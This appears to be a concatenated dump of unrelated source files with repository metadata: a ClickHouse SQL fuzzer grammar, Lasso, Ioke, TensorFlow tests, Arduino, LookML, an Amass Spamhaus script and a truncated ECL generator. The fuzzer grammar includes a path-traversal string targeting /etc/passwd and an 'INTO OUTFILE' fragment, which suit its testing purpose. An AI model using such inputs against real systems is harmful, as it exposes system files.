"SELECT " $1 " FROM " $2 " JOIN " $3 ;
"SELECT " $1 " FROM " $2 " ARRAY JOIN " $3 ;
"SELECT " $1 " FROM " $2 " JOIN " $3 " ON " $4 ;
"SELECT " $1 " FROM " $2 " JOIN " $3 " USING " $5 ;
"SELECT " $1 " INTO OUTFILE " $2 ;
"WITH " $1 " AS " $2 ;
"{" $1 ":" $2 "}";
"[" $1 "," $2 "]";
"[]";
" x ";
"x";
" `x` ";
"`x`";
" \"value\" ";
"\"value\"";
" 0 ";
"0";
"1";
"2";
"123123123123123123";
"182374019873401982734091873420923123123123123123";
"1e-1";
"1.1";
"\"\"";
" '../../../../../../../../../etc/passwd' ";
"/";
"=";
"==";
"!=";
"<>";
"<";
"<=";
">";
">=";
"<<";
"|<<";
"&";
"|";
"||";
"<|";
"|>";
"+";
"-";
"~";
"*";
"/";
"\\";
"%";
"";
".";
",";
",";
",";
",";
",";
",";
"(";
")";
"(";
")";
"(";
")";
"(";
")";
"(";
")";
"(";
")";
"?";
":";
"@";
"@@";
"$";
"\"";
"`";
"{";
"}";
"^";
"::";
"->";
"]";
"[";
| G-code | 1 | pdv-ru/ClickHouse | src/Parsers/fuzzers/codegen_fuzzer/clickhouse-template.g | [
"Apache-2.0"
] |
<?Lassoscript
// Last modified 9/28/08 by ECL, Landmann InterActive
/*
Tagdocs;
{Tagname= Debug }
{Description= Creates a debug container }
{Author= Eric Landmann }
{AuthorEmail= support@iterate.ws }
{ModifiedBy= }
{ModifiedByEmail= }
{Date= 6/23/08 }
{Usage= Debug;
'SomeVar = ' $SomeVar '<br>\n';
/Debug; }
{ExpectedResults= If $svDebug = Y, contents of debug container will be output
If $svDebug != Y, nothing will output }
{Dependencies= $svDebug must be set. It is set in siteconfig.lasso, but can also be set anywhere upstream of where Debug is called. }
{DevelNotes= Optional parameter "Quiet" is not finished. }
{ChangeNotes= 4/2/08
First implementation
}
/Tagdocs;
*/
If: !(Lasso_TagExists:'Debug');
Define_Tag: 'Debug',
-Optional='Quiet',
-Container;
Local('Output') = string;
Local('Start') = ('<p class="debug"><strong>' + (Response_Filepath) + '</strong><br>\n');
Local('End' = '</p>\n');
If: (Var:'svDebug') == 'Y';
#Output = ((#Start) + (Run_Children) + (#End));
Else;
// Output nothing
/If;
Return(Encode_Smart(#Output));
/Define_Tag;
Log_Critical: 'Custom Tag Loaded - Debug';
/If;
/*
// Testing
Var:'svDebug' = 'Y';
Var:'SomeVar' = 'booha';
Debug;
'SomeVar = ' $SomeVar '<br>\n';
/Debug;
*/
?>
| Lasso | 4 | fourplusone/SubEthaEdit | Documentation/ModeDevelopment/Reference Files/LassoScript-HTML/itpage/LassoStartup/Debug.lasso | [
"MIT"
] |
DanishDefaultBehavior = Reflector other:mimic(DefaultBehavior)
DanishDefaultBehavior efterlign = cell(:mimic)
DanishDefaultBehavior hvis = cell(:if)
DanishDefaultBehavior metode = cell(:method)
DanishDefaultBehavior funktion = cell(:fn)
DanishDefaultBehavior Oprindelse = Origin
DanishDefaultBehavior gør = cell(:do)
DanishDefaultBehavior med = cell(:with)
DanishDefaultBehavior selv = method(self)
DanishDefaultBehavior udskriv = Origin cell(:print)
DanishDefaultBehavior udskrivLinje = Origin cell(:println)
DefaultBehavior mimic!(DanishDefaultBehavior)
| Ioke | 3 | olabini/ioke | examples/multilang/danish/danish.ik | [
"ICU",
"MIT"
] |
/* Copyright 2021 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include "tensorflow/compiler/mlir/tensorflow/utils/bridge_logger.h"
#include "mlir/IR/MLIRContext.h" // from @llvm-project
#include "mlir/Transforms/Passes.h" // from @llvm-project
#include "tensorflow/compiler/mlir/tensorflow/dialect_registration.h"
#include "tensorflow/compiler/mlir/tensorflow/transforms/passes.h"
#include "tensorflow/compiler/mlir/tensorflow/utils/serialize_mlir_module_utils.h"
#include "tensorflow/core/lib/core/status_test_util.h"
#include "tensorflow/core/platform/test.h"
namespace tensorflow {
namespace {
// Define test modules that are deserialized to module ops.
static const char *const module_with_add =
R"(module {
func @main(%arg0: tensor<3x4x5xf32>, %arg1: tensor<3x4x5xf32>) -> tensor<3x4x5xf32> {
%0 = "tf.AddV2"(%arg0, %arg1) : (tensor<3x4x5xf32>, tensor<3x4x5xf32>) -> tensor<3x4x5xf32>
return %0 : tensor<3x4x5xf32>
}
}
)";
static const char *const module_with_sub =
R"(module {
func @main(%arg0: tensor<7x8x9xi8>, %arg1: tensor<7x8x9xi8>) -> tensor<7x8x9xi8> {
%0 = "tf.Sub"(%arg0, %arg1) : (tensor<7x8x9xi8>, tensor<7x8x9xi8>) -> tensor<7x8x9xi8>
return %0 : tensor<7x8x9xi8>
}
}
)";
// Test pass filter.
TEST(BridgeLoggerFilters, TestPassFilter) {
mlir::DialectRegistry mlir_registry;
mlir::RegisterAllTensorFlowDialects(mlir_registry);
mlir::MLIRContext mlir_context(mlir_registry);
mlir::OwningModuleRef mlir_module_with_add;
TF_ASSERT_OK(DeserializeMlirModule(module_with_add, &mlir_context,
&mlir_module_with_add));
std::unique_ptr<mlir::Pass> partitioning_pass =
mlir::TFTPU::CreateTPUResourceReadsWritesPartitioningPass();
std::unique_ptr<mlir::Pass> shape_inference_pass =
mlir::TF::CreateTFShapeInferencePass();
std::unique_ptr<mlir::Pass> inliner_pass = mlir::createInlinerPass();
// partitioning_pass and shape_inference_pass should match the filter,
// inliner_pass should not.
setenv("MLIR_BRIDGE_LOG_PASS_FILTER",
"TPUResourceReadsWritesPartitioningPass;TensorFlowShapeInferencePass",
1);
BridgeLoggerConfig logger_config;
EXPECT_TRUE(logger_config.ShouldPrint(partitioning_pass.get(),
mlir_module_with_add.get()));
EXPECT_TRUE(logger_config.ShouldPrint(shape_inference_pass.get(),
mlir_module_with_add.get()));
EXPECT_FALSE(logger_config.ShouldPrint(inliner_pass.get(),
mlir_module_with_add.get()));
}
// Test string filter.
TEST(BridgeLoggerFilters, TestStringFilter) {
mlir::DialectRegistry mlir_registry;
mlir::RegisterAllTensorFlowDialects(mlir_registry);
mlir::MLIRContext mlir_context(mlir_registry);
mlir::OwningModuleRef mlir_module_with_add, mlir_module_with_sub;
TF_ASSERT_OK(DeserializeMlirModule(module_with_add, &mlir_context,
&mlir_module_with_add));
TF_ASSERT_OK(DeserializeMlirModule(module_with_sub, &mlir_context,
&mlir_module_with_sub));
// The pass is not relevant for this test since we don't define a pass filter.
std::unique_ptr<mlir::Pass> dummy_pass =
mlir::TF::CreateTFShapeInferencePass();
// One string appears in both modules and the other one not.
setenv("MLIR_BRIDGE_LOG_STRING_FILTER", "func @main(%arg0: tensor;XXX", 1);
BridgeLoggerConfig logger_config1;
EXPECT_TRUE(
logger_config1.ShouldPrint(dummy_pass.get(), mlir_module_with_add.get()));
EXPECT_TRUE(
logger_config1.ShouldPrint(dummy_pass.get(), mlir_module_with_sub.get()));
// Both strings do not appear in any module.
setenv("MLIR_BRIDGE_LOG_STRING_FILTER", "func @main(%arg0:tensor;XXX", 1);
BridgeLoggerConfig logger_config2;
EXPECT_FALSE(
logger_config2.ShouldPrint(dummy_pass.get(), mlir_module_with_add.get()));
EXPECT_FALSE(
logger_config2.ShouldPrint(dummy_pass.get(), mlir_module_with_sub.get()));
// String appears in one module but not in the other.
setenv("MLIR_BRIDGE_LOG_STRING_FILTER",
"\"tf.AddV2\"(%arg0, %arg1) : (tensor<3x4x5xf32>", 1);
BridgeLoggerConfig logger_config3;
EXPECT_TRUE(
logger_config3.ShouldPrint(dummy_pass.get(), mlir_module_with_add.get()));
EXPECT_FALSE(
logger_config3.ShouldPrint(dummy_pass.get(), mlir_module_with_sub.get()));
}
// Test both filters together.
TEST(BridgeLoggerFilters, TestBothFilters) {
mlir::DialectRegistry mlir_registry;
mlir::RegisterAllTensorFlowDialects(mlir_registry);
mlir::MLIRContext mlir_context(mlir_registry);
mlir::OwningModuleRef mlir_module_with_add;
TF_ASSERT_OK(DeserializeMlirModule(module_with_add, &mlir_context,
&mlir_module_with_add));
std::unique_ptr<mlir::Pass> shape_inference_pass =
mlir::TF::CreateTFShapeInferencePass();
// String filter is matched but pass filter is not.
setenv("MLIR_BRIDGE_LOG_STRING_FILTER",
"(tensor<3x4x5xf32>, tensor<3x4x5xf32>) -> tensor<3x4x5xf32>", 1);
setenv("MLIR_BRIDGE_LOG_PASS_FILTER", "ensorFlowShapeInferencePass", 1);
BridgeLoggerConfig logger_config1;
EXPECT_FALSE(logger_config1.ShouldPrint(shape_inference_pass.get(),
mlir_module_with_add.get()));
// Pass filter is matched but string filter is not.
setenv("MLIR_BRIDGE_LOG_STRING_FILTER", "XXX", 1);
setenv("MLIR_BRIDGE_LOG_PASS_FILTER", "TensorFlowShapeInferencePass", 1);
BridgeLoggerConfig logger_config2;
EXPECT_FALSE(logger_config2.ShouldPrint(shape_inference_pass.get(),
mlir_module_with_add.get()));
// Both filters are matched.
setenv("MLIR_BRIDGE_LOG_STRING_FILTER",
"(tensor<3x4x5xf32>, tensor<3x4x5xf32>) -> tensor<3x4x5xf32>", 1);
setenv("MLIR_BRIDGE_LOG_PASS_FILTER", "TensorFlowShapeInferencePass", 1);
BridgeLoggerConfig logger_config3;
EXPECT_TRUE(logger_config3.ShouldPrint(shape_inference_pass.get(),
mlir_module_with_add.get()));
}
} // namespace
} // namespace tensorflow
| C++ | 4 | ashutom/tensorflow-upstream | tensorflow/compiler/mlir/tensorflow/utils/bridge_logger_test.cc | [
"Apache-2.0"
] |
/*************************************************************
Download latest Blynk library here:
https://github.com/blynkkk/blynk-library/releases/latest
Blynk is a platform with iOS and Android apps to control
Arduino, Raspberry Pi and the likes over the Internet.
You can easily build graphic interfaces for all your
projects by simply dragging and dropping widgets.
Downloads, docs, tutorials: http://www.blynk.cc
Sketch generator: http://examples.blynk.cc
Blynk community: http://community.blynk.cc
Follow us: http://www.fb.com/blynkapp
http://twitter.com/blynk_app
Blynk library is licensed under MIT license
This example code is in public domain.
*************************************************************
Use Table widget to display simple value tables or events
App project setup:
Table widget on V1
Button widget (push) on V10
Button widget (push) on V11
*************************************************************/
/* Comment this out to disable prints and save space */
#define BLYNK_PRINT Serial
/* Fill-in your Template ID (only if using Blynk.Cloud) */
//#define BLYNK_TEMPLATE_ID "YourTemplateID"
#include <SPI.h>
#include <Ethernet.h>
#include <BlynkSimpleEthernet.h>
// You should get Auth Token in the Blynk App.
// Go to the Project Settings (nut icon).
char auth[] = "YourAuthToken";
WidgetTable table;
BLYNK_ATTACH_WIDGET(table, V1);
int rowIndex = 0;
// Button on V10 adds new items
BLYNK_WRITE(V10) {
if (param.asInt()) {
table.addRow(rowIndex, "Test row", millis() / 1000);
table.pickRow(rowIndex);
rowIndex++;
}
}
// Button on V11 clears the table
BLYNK_WRITE(V11) {
if (param.asInt()) {
table.clear();
rowIndex = 0;
}
}
void setup()
{
// Debug console
Serial.begin(9600);
Blynk.begin(auth);
// Setup table event callbacks
table.onOrderChange([](int indexFrom, int indexTo) {
Serial.print("Reordering: ");
Serial.print(indexFrom);
Serial.print(" => ");
Serial.print(indexTo);
Serial.println();
});
table.onSelectChange([](int index, bool selected) {
Serial.print("Item ");
Serial.print(index);
Serial.print(selected ? " marked" : " unmarked");
});
}
void loop()
{
Blynk.run();
}
| Arduino | 4 | kayatmin/blynk-library | examples/Widgets/Table/Table_Advanced/Table_Advanced.ino | [
"MIT"
] |
<?= $this->partial('layout/layout.phtml', ['contentPartial' => 'partials/class/content.phtml']) ?>
| HTML+PHP | 2 | nawawi/zephir | templates/Api/themes/api-base/class.phtml | [
"MIT"
] |
#lang scribble/manual
@(require scribble/bnf "utils.rkt")
@title{Scribble: The Racket Documentation Tool}
@author["Matthew Flatt" "Eli Barzilay"]
Scribble is a collection of tools for creating prose
documents---papers, books, library documentation, etc.---in HTML or
PDF (via Latex) form. More generally, Scribble helps you write
programs that are rich in textual content, whether the content is
prose to be typeset or any other form of text to be generated
programmatically.
This document is itself written using Scribble. You can see its source
at
@(let ([url "http://git.racket-lang.org/plt/tree/HEAD:/collects/scribblings/scribble"])
(link url url)),
starting with the @filepath{scribble.scrbl} file.
@table-of-contents[]
@; ------------------------------------------------------------------------
@include-section["how-to-paper.scrbl"]
@include-section["reader.scrbl"]
@include-section["generic.scrbl"]
@include-section["plt.scrbl"]
@include-section["lp.scrbl"]
@include-section["text.scrbl"]
@include-section["internals.scrbl"]
@include-section["running.scrbl"]
@index-section[]
| Racket | 5 | JavascriptID/sourcerer-app | src/test/resources/samples/langs/Racket/scribble.scrbl | [
"MIT"
] |
diff -aruN pcl-pcl-1.10.1.orig/cmake/pcl_find_sse.cmake pcl-pcl-1.10.1/cmake/pcl_find_sse.cmake
--- pcl-pcl-1.10.1.orig/cmake/pcl_find_sse.cmake 2020-07-07 20:35:54.475887756 -0700
+++ pcl-pcl-1.10.1/cmake/pcl_find_sse.cmake 2020-07-07 20:40:22.728476949 -0700
@@ -4,20 +4,6 @@
set(SSE_FLAGS)
set(SSE_DEFINITIONS)
- if(NOT CMAKE_CROSSCOMPILING)
- # Test GCC/G++ and CLANG
- if(CMAKE_COMPILER_IS_GNUCC OR CMAKE_COMPILER_IS_GNUCXX OR CMAKE_COMPILER_IS_CLANG)
- include(CheckCXXCompilerFlag)
- check_cxx_compiler_flag("-march=native" HAVE_MARCH)
- if(HAVE_MARCH)
- list(APPEND SSE_FLAGS "-march=native")
- else()
- list(APPEND SSE_FLAGS "-mtune=native")
- endif()
- message(STATUS "Using CPU native flags for SSE optimization: ${SSE_FLAGS}")
- endif()
- endif()
-
# Unfortunately we need to check for SSE to enable "-mfpmath=sse" alongside
# "-march=native". The reason for this is that by default, 32bit architectures
# tend to use the x87 FPU (which has 80 bit internal precision), thus leading
| Diff | 3 | jzjonah/apollo | docker/build/installers/pcl-sse-fix-1.10.1.patch | [
"Apache-2.0"
] |
# Copyright (C) 2006-2009, Parrot Foundation.
=head1 DESCRIPTION
src/builtins/all.pir -- abc builtin functions
=cut
.namespace []
.sub '&prefix:<++>'
.param pmc n
inc n
.return (n)
.end
.sub '&prefix:<-->'
.param pmc n
dec n
.return (n)
.end
.sub '&postfix:<++>'
.param pmc n
$P0 = clone n
inc n
.return ($P0)
.end
.sub '&postfix:<-->'
.param pmc n
$P0 = clone n
dec n
.return ($P0)
.end
.sub '&infix:<&&>'
.param pmc a
.param pmc b
$I0 = istrue a
$I1 = istrue b
$I0 = and $I0, $I1
.return ($I0)
.end
.sub '&infix:<||>'
.param pmc a
.param pmc b
$I0 = istrue a
$I1 = istrue b
$I0 = or $I0, $I1
.return ($I0)
.end
.sub 'sqrt'
.param num n
n = sqrt n
.return (n)
.end
.sub 'scale'
.param pmc n
$S0 = n
$I0 = index $S0, '.'
if $I0 >= 0 goto nonzero
.return (0)
nonzero:
$I1 = length $S0
$I0 = $I1 - $I0
dec $I0
.return ($I0)
.end
.sub 'length'
.param pmc n
$S0 = n
$I0 = length $S0
$I1 = index $S0, '.'
if $I1 < 0 goto integer
dec $I0
integer:
.return ($I0)
.end
.sub 'saynum'
.param pmc n
print n
print "\n"
.end
# Local Variables:
# mode: pir
# fill-column: 100
# End:
# vim: expandtab shiftwidth=4 ft=pir:
| Parrot Internal Representation | 4 | winnit-myself/Wifie | examples/languages/abc/src/builtins/all.pir | [
"Artistic-2.0"
] |
import React from 'react';
import { mount } from 'enzyme';
import { SmileOutlined } from '@ant-design/icons';
import IconContext from '@ant-design/icons/lib/components/Context';
import ConfigProvider from '..';
describe('ConfigProvider.Icon', () => {
beforeEach(() => {
// eslint-disable-next-line jest/no-standalone-expect
expect(document.querySelectorAll('style')).toHaveLength(0);
});
afterEach(() => {
document.querySelectorAll('style').forEach(style => {
style.parentNode.removeChild(style);
});
});
it('basic', () => {
const wrapper = mount(
<ConfigProvider iconPrefixCls="bamboo" csp={{ nonce: 'light' }}>
<SmileOutlined />
</ConfigProvider>,
);
const styleNode = document.querySelector('style');
expect(wrapper.exists('.bamboo-smile')).toBeTruthy();
expect(styleNode.nonce).toEqual('light');
});
it('nest', () => {
const Checker = () => {
const { csp } = React.useContext(IconContext);
return <div id="csp">{csp.nonce}</div>;
};
const wrapper = mount(
<ConfigProvider iconPrefixCls="bamboo" csp={{ nonce: 'light' }}>
<ConfigProvider>
<SmileOutlined />
<Checker />
</ConfigProvider>
</ConfigProvider>,
);
const styleNode = document.querySelector('style');
expect(wrapper.exists('.bamboo-smile')).toBeTruthy();
expect(styleNode.nonce).toEqual('light');
expect(wrapper.find('#csp').text()).toEqual('light');
});
});
| JavaScript | 4 | jawmeschege/ant-design | components/config-provider/__tests__/icon.test.js | [
"MIT"
] |
module NoSuchBuiltinName where
postulate X : Set
{-# BUILTIN FOOBAR X #-}
| Agda | 2 | shlevy/agda | test/Fail/NoSuchBuiltinName.agda | [
"BSD-3-Clause"
] |
#include <OverlayTest/Overlayed.h>
| C | 0 | gandhi56/swift | test/IDE/Inputs/mock-sdk/OverlayTest.framework/Headers/OverlayTest.h | [
"Apache-2.0"
] |
#pragma TextEncoding="UTF-8"
#pragma rtGlobals=3
#pragma IgorVersion=8.03
//******************************************************************************
// Start SIDAM
//******************************************************************************
Function sidam()
Execute/P/Q "SetIgorOption poundDefine=SIDAMstarting"
Execute/P "INSERTINCLUDE \"SIDAM_StartExit\""
Execute/P "COMPILEPROCEDURES "
Execute/P/Q "SIDAMStart()"
Execute/P/Q "SetIgorOption poundUndefine=SIDAMstarting"
Execute/P "DELETEINCLUDE \"SIDAM_StartExit\""
Execute/P "COMPILEPROCEDURES "
return 0
End
//******************************************************************************
// Menu item
//******************************************************************************
Menu "Macros", dynamic
// nothing is displayed after SIDAM is started
SelectString(strlen(FunctionList("SIDAMLoadData",";","")), "SIDAM", ""), /Q, sidam()
End
| IGOR Pro | 4 | yuksk/SIDAM | src/SIDAM.ipf | [
"MIT"
] |
- dashboard: referrer_dashboard
title: Referrer Dashboard
layout: grid
rows:
- elements: [total_sessions, distinct_users, avg_sessions_user, avg_session_dur]
height: 220
- elements: [daily_session_user_counts]
height: 400
- elements: [device_type_breakdown, conversion_funnel]
height: 400
filters:
- name: date
title: "Date"
type: date_filter
default_value: 30 days
- name: device_type
type: field_filter
explore: sessions
field: sessions.device_type
- name: referrer_domain
type: field_filter
explore: sessions
field: sessions.referrer_domain_mapped
default_value: google # modify to desired default mapped referrer domain
elements:
- name: total_sessions
title: Total Sessions
type: single_value
model: heap_block
explore: sessions
measures: [sessions.count]
listen:
date: sessions.session_date
device_type: sessions.device_type
referrer_domain: sessions.referrer_domain_mapped
sorts: [sessions.count desc]
limit: 500
font_size: medium
- name: distinct_users
title: Distinct Users
type: single_value
model: heap_block
explore: sessions
measures: [sessions.count_users]
listen:
date: sessions.session_date
device_type: sessions.device_type
referrer_domain: sessions.referrer_domain_mapped
sorts: [sessions.count_users desc]
limit: 500
font_size: medium
- name: avg_sessions_user
title: Average Sessions per Distinct User
type: single_value
model: heap_block
explore: sessions
measures: [sessions.average_sessions_per_user]
listen:
date: sessions.session_date
device_type: sessions.device_type
referrer_domain: sessions.referrer_domain_mapped
sorts: [sessions.average_sessions_per_user desc]
limit: 500
font_size: medium
- name: avg_session_dur
title: Average Session Duration (Minutes)
type: single_value
model: heap_block
explore: sessions
measures: [session_facts.average_session_duration_minutes]
listen:
date: sessions.session_date
device_type: sessions.device_type
referrer_domain: sessions.referrer_domain_mapped
filters:
session_facts.session_duration_minutes: <300
sorts: [session_facts.average_session_duration desc, session_facts.average_session_duration_minutes desc]
limit: 500
- name: daily_session_user_counts
title: Daily Session and User Counts
type: looker_line
model: heap_block
explore: sessions
dimensions: [sessions.session_date]
measures: [sessions.count, sessions.count_users]
listen:
date: sessions.session_date
device_type: sessions.device_type
referrer_domain: sessions.referrer_domain_mapped
sorts: [sessions.count desc]
limit: 100
column_limit: 50
colors: ['#5245ed', '#ed6168', '#1ea8df', '#353b49', '#49cec1', '#b3a0dd', '#db7f2a',
'#706080', '#a2dcf3', '#776fdf', '#e9b404', '#635189']
label_density: 25
legend_position: center
y_axis_gridlines: true
y_axis_combined: true
show_y_axis_labels: true
show_y_axis_ticks: true
y_axis_tick_density: default
show_x_axis_label: true
show_x_axis_ticks: true
x_axis_scale: auto
show_null_points: true
point_style: none
interpolation: linear
- name: device_type_breakdown
title: Device Type Breakdown
type: looker_bar
model: heap_block
explore: sessions
dimensions: [sessions.device_type]
measures: [sessions.count]
listen:
date: sessions.session_date
device_type: sessions.device_type
referrer_domain: sessions.referrer_domain_mapped
sorts: [sessions.count desc]
limit: 100
column_limit: 50
colors: ['#5245ed', '#ed6168', '#1ea8df', '#353b49', '#49cec1', '#b3a0dd', '#db7f2a',
'#706080', '#a2dcf3', '#776fdf', '#e9b404', '#635189']
label_density: 25
legend_position: center
y_axis_gridlines: true
y_axis_combined: true
show_y_axis_labels: true
show_y_axis_ticks: true
y_axis_tick_density: default
show_x_axis_label: true
show_x_axis_ticks: true
x_axis_scale: auto
- name: conversion_funnel
title: Custom Conversion Funnel
type: looker_column
model: heap_block
explore: funnel_explorer
measures: [funnel_explorer.count_sessions_event1, funnel_explorer.count_sessions_event12,
funnel_explorer.count_sessions_event123]
listen:
date: funnel_explorer.event_time
device_type: sessions.device_type
referrer_domain: sessions.referrer_domain_mapped
filters:
funnel_explorer.event1: homepage_click_get_started
funnel_explorer.event2: '"signed^_up"'
funnel_explorer.event3: '"dashboard^_galleries^_click^_add^_files"'
sorts: [funnel_explorer.count_sessions_event1 desc]
limit: 500
colors: ['#5245ed', '#ed6168', '#1ea8df', '#353b49', '#49cec1', '#b3a0dd', '#db7f2a',
'#706080', '#a2dcf3', '#776fdf', '#e9b404', '#635189']
show_value_labels: true
label_density: 25
legend_position: center
y_axis_gridlines: true
y_axis_combined: true
show_y_axis_labels: true
show_y_axis_ticks: true
y_axis_tick_density: default
show_x_axis_label: true
show_x_axis_ticks: true
x_axis_scale: auto
show_dropoff: true
| LookML | 3 | llooker/heap_block_bigquery | referrer_dashboard.dashboard.lookml | [
"MIT"
] |
-- Copyright 2021 Jeff Foley. All rights reserved.
-- Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
local json = require("json")
name = "Spamhaus"
type = "api"
function start()
set_rate_limit(1)
end
function check()
local c
local cfg = datasrc_config()
if cfg ~= nil then
c = cfg.credentials
end
if (c ~= nil and c.username ~= nil and
c.password ~= nil and c.username ~= "" and c.password ~= "") then
return true
end
return false
end
function vertical(ctx, domain)
local c
local cfg = datasrc_config()
if cfg ~= nil then
c = cfg.credentials
end
if (c == nil or c.username == nil or
c.username == "" or c.password == nil or c.password == "") then
return
end
local token = bearer_token(ctx, c.username, c.password)
if token == "" then
return
end
local resp, err = request(ctx, {
['url']=build_url(domain),
headers={
['Accept']="application/json",
['Content-Type']="application/json",
['Authorization']="Bearer " .. token,
},
})
if (err ~= nil and err ~= "") then
log(ctx, "vertical request to service failed: " .. err)
return
end
local d = json.decode(resp)
if (d == nil or d.error == true or d.hits == 0) then
return
end
for i, record in pairs(d.records) do
new_name(ctx, record.rrname)
if (record.rrtype == "A" or record.rrtype == "AAAA") then
new_addr(ctx, record.rdata, record.rrname)
end
end
end
function build_url(domain)
return "https://api-pdns.spamhaustech.com/v2/_search/rrset/" .. domain .. "/ANY?stype=rm&limit=1000"
end
function bearer_token(ctx, username, password)
local body, err = json.encode({
['username']=username,
['password']=password,
})
if (err ~= nil and err ~= "") then
return ""
end
resp, err = request(ctx, {
method="POST",
data=body,
['url']="https://api-pdns.spamhaustech.com/v2/login",
headers={
['Accept']="application/json",
['Content-Type']="application/json",
},
})
if (err ~= nil and err ~= "") then
log(ctx, "bearer_token request to service failed: " .. err)
return ""
end
local d = json.decode(resp)
if (d == nil or d.token == nil or d.token == "") then
return ""
end
return d.token
end
| Ada | 4 | Elon143/Amass | resources/scripts/api/spamhaus.ads | [
"Apache-2.0"
] |
.class public final Ltypes/TestGenerics2;
.super Ljava/lang/Object;
.source "SourceFile"
# instance fields
.field private field:Ljava/util/Map;
.annotation system Ldalvik/annotation/Signature;
value = {
"Ljava/util/Map<",
"Ljava/lang/Integer;",
"Ljava/lang/String;",
">;"
}
.end annotation
.end field
.method public test()V
.registers 5
iget-object v4, p0, Ltypes/TestGenerics2;->field:Ljava/util/Map;
invoke-interface {v4}, Ljava/util/Map;->size()I
move-result v0
invoke-static {v0}, Ltypes/TestGenerics2;->useInt(I)V
invoke-interface {v4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
move-result-object v4
invoke-interface {v4}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
move-result-object v4
:goto_16
invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
move-result v0
if-eqz v0, :ret
invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
move-result-object v0
invoke-interface {v0}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
move-result-object v1
check-cast v1, Ljava/lang/Integer;
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
move-result v1
invoke-static {v1}, Ltypes/TestGenerics2;->useInt(I)V
invoke-interface {v0}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
move-result-object v0
check-cast v0, Ljava/lang/String;
invoke-interface {v0, p1}, Ljava/lang/String;->trim()Ljava/lang/String;
goto :goto_16
:ret
return-void
.end method
.method public static useInt(I)V
.registers 3
return-void
.end method
| Smali | 4 | DSYliangweihao/jadx | jadx-core/src/test/smali/types/TestGenerics2.smali | [
"Apache-2.0"
] |
/*##############################################################################
HPCC SYSTEMS software Copyright (C) 2012 HPCC Systems®.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
############################################################################## */
//define constants
MaxElement := 2; //maximum (1 to 16) number of array elements to use building the data records
MaxField := 2; //maximum (1 to 8) number of fields to use building the data records
FileOut := 'RTTEMP::TestFile_'+MaxElement+'_'+MaxField+'_';
//define data atoms
SET OF STRING10 Fnames := ['DAVID','CLARE','KELLY','KIMBERLY','PAMELA','JEFFREY','MATTHEW','LUKE',
'JOHN','EDWARD','CHAD','KEVIN','KOBE','RICHARD','GEORGE','DIRK']; //max 16 recs
SET OF STRING10 Lnames := ['BAYLISS','DOLSON','BILLINGTON','SMITH','JONES','ARMSTRONG','LINDHORFF',
'SIMMONS','WYMAN','MIDDLETON','MORTON','NOWITZKI','WILLIAMS','TAYLOR','DRIMBAD','BRYANT']; //max 256 recs
SET OF UNSIGNED1 PRANGES := [1,2,3,4,5,6,7,8,
9,10,11,12,13,14,15,16]; //max 4096 recs
SET OF STRING10 Streets := ['HIGH','MILL','CITATION','25TH','ELGIN',
'VICARAGE','VICARYOUNG','PEPPERCORN','SILVER','KENSINGTON']; //max 65,536 recs
SET OF UNSIGNED1 ZIPS := [101,102,103,104,105,106,107,108,
109,110,111,112,113,114,115,116]; //max 1,048,576 recs
SET OF UNSIGNED1 AGES := [31,32,33,34,35,36,37,38,
39,40,41,42,43,44,45,56]; //max 16,777,216 recs
SET OF STRING2 STATES := ['FL','GA','SC','NC','TX','AL','MS','TN',
'KY','CA','MI','OH','IN','IL','WI','MN']; //max 268,435,456 recs
SET OF STRING3 MONTHS := ['JAN','FEB','MAR','APR','MAY','JUN','JUL','AUG',
'SEP','OCT','NOV','DEC','ABC','DEF','GHI','JKL']; //max 4,294,967,296 recs
//record structure
#IF(MaxField=1)
OutRec := {string10 firstname};
BlankSet := dataset([{''}],OutRec);
#end
#IF(MaxField=2)
OutRec := {string10 firstname; string10 lastname};
BlankSet := dataset([{'',''}],OutRec);
#end
#IF(MaxField=3)
OutRec := {string10 firstname; string10 lastname; unsigned1 prange};
BlankSet := dataset([{'','',0}],OutRec);
#end
#IF(MaxField=4)
OutRec := {string10 firstname; string10 lastname; unsigned1 prange; string10 street};
BlankSet := dataset([{'','',0,''}],OutRec);
#end
#IF(MaxField=5)
OutRec := {string10 firstname; string10 lastname; unsigned1 prange; string10 street; unsigned1 zip};
BlankSet := dataset([{'','',0,'',0}],OutRec);
#end
#IF(MaxField=6)
OutRec := {string10 firstname; string10 lastname; unsigned1 prange; string10 street; unsigned1 zip; unsigned1 age};
BlankSet := dataset([{'','',0,'',0,0}],OutRec);
#end
#IF(MaxField=7)
OutRec := {string10 firstname; string10 lastname; unsigned1 prange; string10 street; unsigned1 zip; unsigned1 age; string2 state};
BlankSet := dataset([{'','',0,'',0,0,''}],OutRec);
#end
#IF(MaxField=8)
OutRec := {string10 firstname; string10 lastname; unsigned1 prange; string10 street; unsigned1 zip; unsigned1 age; string2 state; string3 month};
BlankSet := dataset([{'','',0,'',0,0,'',''}],OutRec);
#end
//build records
OutRec norm1(OutRec l, integer c) := transform
self.firstname := Fnames[c];
self := l;
end;
Norm1Recs := normalize( BlankSet, MaxElement, norm1(left, counter));
#if(MaxField >= 2)
OutRec norm2(OutRec l, integer c) := transform
self.lastname := Lnames[c];
self := l;
end;
Norm2Recs := normalize( Norm1Recs, MaxElement, norm2(left, counter));
#end
#if(MaxField >= 3)
OutRec norm3(OutRec l, integer c) := transform
self.prange := pranges[c];
self := l;
end;
Norm3Recs := normalize( Norm2Recs, MaxElement, norm3(left, counter));
#end
